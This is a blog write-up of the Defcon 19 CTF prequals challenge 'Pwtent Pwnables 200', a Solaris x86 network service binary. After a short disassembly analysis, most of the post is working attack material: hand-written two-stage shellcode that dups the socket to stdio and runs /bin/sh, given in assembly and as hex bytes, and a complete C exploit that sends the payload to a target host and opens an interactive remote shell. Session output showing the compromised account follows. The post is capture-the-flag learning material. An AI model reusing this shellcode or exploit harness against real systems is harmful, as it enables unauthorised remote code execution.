06
Jun
2011

Defcon 19 CTF Prequals – PP200

This weekend a few of us had some good fun with the defcon 19 CTF prequals. Here’s a short write-up of Pwtent Pwnables 200.

$ file pp200.elf
pp200.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
$ wtfux... ; strings pp200.elf
-bash: wtfux...: command not found
..
@(#)SunOS 5.10 Generic January 2005
$ A-h4!@#%

So we’re dealing with a SunOS/Solaris x86_32 binary here. Time to quickly deploy an Opensolaris VM and see if we can interactively debug this rather than dry reverse it.. Turns out this wasn’t really needed, the code is quite basic, but having an actual environment did help.

.text:0805161B                 mov     [ebp+var_2C], eax
.text:0805161E                 mov     eax, [ebp+var_2C]
.text:08051621                 inc     eax
.text:08051622                 mov     [ebp+var_20], eax
....
.text:080516AB loc_80516AB:                            ; CODE XREF: client_callback+95j
.text:080516AB                                         ; client_callback+ABj
.text:080516AB                 sub     esp, 4
.text:080516AE                 push    BUFSIZE         ; int
.text:080516B4                 push    [ebp+var_2C]    ; int
.text:080516B7                 push    [ebp+fd]        ; fd
.text:080516BA                 call    readAll
.text:080516BF                 add     esp, 10h
.text:080516C2                 mov     [ebp+var_24], eax
.text:080516C5                 sub     esp, 8
.text:080516C8                 push    [ebp+var_24]
.text:080516CB                 push    offset aReadDBytes ; "read %d bytes\n\n\n"
.text:080516D0                 call    _printf
.text:080516D5                 add     esp, 10h
.text:080516D8                 mov     eax, [ebp+var_20]
.text:080516DB                 call    eax
.text:080516DD                 mov     esp, [ebp+var_28]
.text:080516E0                 mov     eax, 0
.text:080516E5                 leave
.text:080516E6                 retn

Here we can see the gist of the client handling code. It’s reading in BUFSIZE (0×49) bytes and then jumps to the same buffer .. or does it? If you look closely they increment eax by one before they set ebp+var_20

So we just add a junkbyte at the start of our payload. Another problem: we only have 73 bytes for our payload. A basic connectback or bindshell didn’t fit, so we went with a little two-stage thing.

Time to look up some information about Solaris calling conventions and syscall numbers! :-)

STAGE0:

  nop
  # read(fd, dst, 0x100);
  pushl $0x100
  pushl $0x8047d0c
  pushl $0x05

  pushl $0
  movl  $3, %eax
  lcall $0x27, $0

  # lame trampoline
  pushl $0x8047d0c
  popl %eax
  jmp %eax

STAGE1:

# fcntl(sock_fd, F_DUP2FD, STDOUT_FILENO)
pushl $1
pushl $9
pushl $5
pushl $0
movl  $62, %eax
lcall $0x27, $0

# fcntl(sock_fd, F_DUP2FD, STDIN_FILENO)
pushl $0
pushl $9
pushl $5
pushl $0
movl  $62, %eax
lcall $0x27, $0

# fcntl(sock_fd, F_DUP2FD, STDERR_FILENO)
pushl $2
pushl $9
pushl $5
pushl $0
movl  $62, %eax
lcall $0x27, $0

# execve("/bin/sh");
xorl   %eax,%eax
pushl  %eax
pushl  $0x68732f6e
pushl  $0x69622f2f
movl   %esp,%ebx
pushl  %eax
pushl  %ebx
movl   %esp,%edx
pushl  %eax
pushl  %edx
pushl  %ebx

pushl $0
movl  $0x3b, %eax
lcall $0x27, $0

And let’s wrap everything we learned up in a nicely weaponized exploit:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define STAGE0_SIZE (sizeof(stage0))
#define STAGE0_PAD  (0x049 - STAGE0_SIZE)
#define STAGE1_SIZE (sizeof(stage1))
#define STAGE1_PAD  (0x100 - STAGE1_SIZE)

#define PAYLOAD_SIZE	(STAGE0_SIZE + STAGE0_PAD + STAGE1_SIZE + STAGE1_PAD)

void fdsh(int sock);

// reads in 0x100 bytes to a fixed buffer and jumps there
unsigned char stage0[]=
	"\x90"                         // nop
	"\x68\x00\x01\x00\x00"         // push   $0x100
	"\x68\x0c\x7d\x04\x08"         // push   $0x8047d0c
	"\x6a\x05"                     // push   $0x5
	"\x6a\x00"                     // push   $0x0
	"\xb8\x03\x00\x00\x00"       	 // mov    $0x3,%eax
	"\x9a\x00\x00\x00\x00\x27\x00" // lcall  $0x27,$0x0   read(sock_fd, buf, 0x100)
	"\x68\x0c\x7d\x04\x08"         // push   $0x8047d0c
	"\x58"                         // pop    %eax
	"\xff\xe0";                    // jmp    *%eax


// fcntl(sock_fd, F_DUP2FD, STDOUT_FILENO)
// fcntl(sock_fd, F_DUP2FD, STDIN_FILENO)
// fcntl(sock_fd, F_DUP2FD, STDERR_FILENO)
// execve("/bin/sh");
unsigned char stage1[]=
	"\x90"                          // nop
	"\x6a\x01"                      // push   $0x1
	"\x6a\x09"                      // push   $0x9
	"\x6a\x05"                      // push   $0x5
	"\x6a\x00"                      // push   $0x0
	"\xb8\x3e\x00\x00\x00"       	  // mov    $0x3e,%eax
	"\x9a\x00\x00\x00\x00\x27\x00"  // lcall  $0x27,$0x0
	"\x6a\x00"                    	// push   $0x0
	"\x6a\x09"                    	// push   $0x9
	"\x6a\x05"                    	// push   $0x5
	"\x6a\x00"                    	// push   $0x0
	"\xb8\x3e\x00\x00\x00"          // mov    $0x3e,%eax
	"\x9a\x00\x00\x00\x00\x27\x00"  // lcall  $0x27,$0x0
	"\x6a\x02"                      // push   $0x2
	"\x6a\x09"                      // push   $0x9
	"\x6a\x05"                      // push   $0x5
	"\x6a\x00"                      // push   $0x0
	"\xb8\x3e\x00\x00\x00"          // mov    $0x3e,%eax
	"\x9a\x00\x00\x00\x00\x27\x00"  // lcall  $0x27,$0x0
	"\x31\xc0"                      // xor    %eax,%eax
	"\x50"                          // push   %eax
	"\x68\x6e\x2f\x73\x68"          // push   $0x68732f6e
	"\x68\x2f\x2f\x62\x69"          // push   $0x69622f2f
	"\x89\xe3"                      // mov    %esp,%ebx
	"\x50"                          // push   %eax
	"\x53"                          // push   %ebx
	"\x89\xe2"                      // mov    %esp,%edx
	"\x50"                          // push   %eax
	"\x52"                          // push   %edx
	"\x53"                          // push   %ebx
	"\x6a\x00"                      // push   $0x0
	"\xb8\x3b\x00\x00\x00"          // mov    $0x3b,%eax
	"\x9a\x00\x00\x00\x00\x27\x00"; // lcall  $0x27,$0x0

int main(int argc, char *argv[]) {
	unsigned char *payload;
	unsigned int addr=0;

	struct hostent *hp;
	struct sockaddr_in pin;

	int fd;

	if (argc == 1 || argc > 3) {
		fprintf(stderr,	"Usage: %s <host> [addr]\n", argv[0]);
		return -1;
	}
	
	if (argc == 3) {
		addr=strtoull(argv[2], NULL, 16);
		printf("addr: %08x\n", addr);
		memcpy(&stage0[7], &addr, 4);
		memcpy(&stage0[28], &addr, 4);
	}

	if ((hp = gethostbyname(argv[1])) == 0) {
		perror("gethostbyname");
		exit(1);
	}

	memset(&pin, 0, sizeof(pin));
	pin.sin_family = AF_INET;
	pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
	pin.sin_port = htons(5555);

	if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket");
		exit(1);
	}

	if (connect(fd,(struct sockaddr *)  &pin, sizeof(pin)) == -1) {
		perror("connect");
		exit(1);
	}

	payload = malloc(PAYLOAD_SIZE);

	memcpy(payload, stage0, STAGE0_SIZE);
	memset(payload + STAGE0_SIZE, 0x42, STAGE0_PAD);

	memcpy(payload + STAGE0_SIZE + STAGE0_PAD, stage1, STAGE1_SIZE);
	memset(payload + STAGE0_SIZE + STAGE0_PAD + STAGE1_SIZE, 0x43, STAGE1_PAD);

	if (send(fd, payload, PAYLOAD_SIZE, 0) == -1) {
		perror("send");
		exit(1);
	}

	free(payload);

	printf("[>>] Click.. clack..\n");

	// I like to build up some suspense..
	sleep(1);

	fdsh(fd);

	return 0;
}

// oldskool fdsh, who doesn't love it? kindly borrowed from the internet
void fdsh(int sock) {
	fd_set  fd_read;
	char buff[1024], *cmd="echo \"[<<] KAPOW! *** S0L4R1Z F3LL :D  :D\";uname -a;id;\n";
	int n;

	FD_ZERO(&fd_read);
	FD_SET(sock, &fd_read);
	FD_SET(0, &fd_read);

	send(sock, cmd, strlen(cmd), 0);

	while(1) {
		FD_SET(sock, &fd_read);
		FD_SET(0, &fd_read);

		if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;

		if (FD_ISSET(sock, &fd_read)) {
			if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
        fprintf(stderr, "EOF\n");
        exit(2);
			}

			if (write(1, buff, n) < 0) break;
		}

		if (FD_ISSET(0, &fd_read)) {
			if((n = read(0, buff, sizeof(buff))) < 0){
				fprintf(stderr, "EOF\n");
				exit(2);
			}

			if (send(sock, buff, n, 0) < 0) break;
		}

		usleep(10);
	}

	fprintf(stderr, "Connection lost.\n\n");
	exit(0);
}

The Money Shot:

$ gcc -o solaris solaris.c
$ ./solaris
Usage: ./solaris <host> [addr]
$ ./solaris 192.168.1.48 
[>>] Click.. clack..
[<<] KAPOW! *** S0L4R1Z F3LL :D  :D 
SunOS osol-jeos 5.11 snv_111b i86pc i386 i86pc
uid=103(ddtek) gid=1(other)
pwd
/tmp

Key yielded: wh0thefuck_USES_solarisanyway?!

Trackbacks & Pings

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>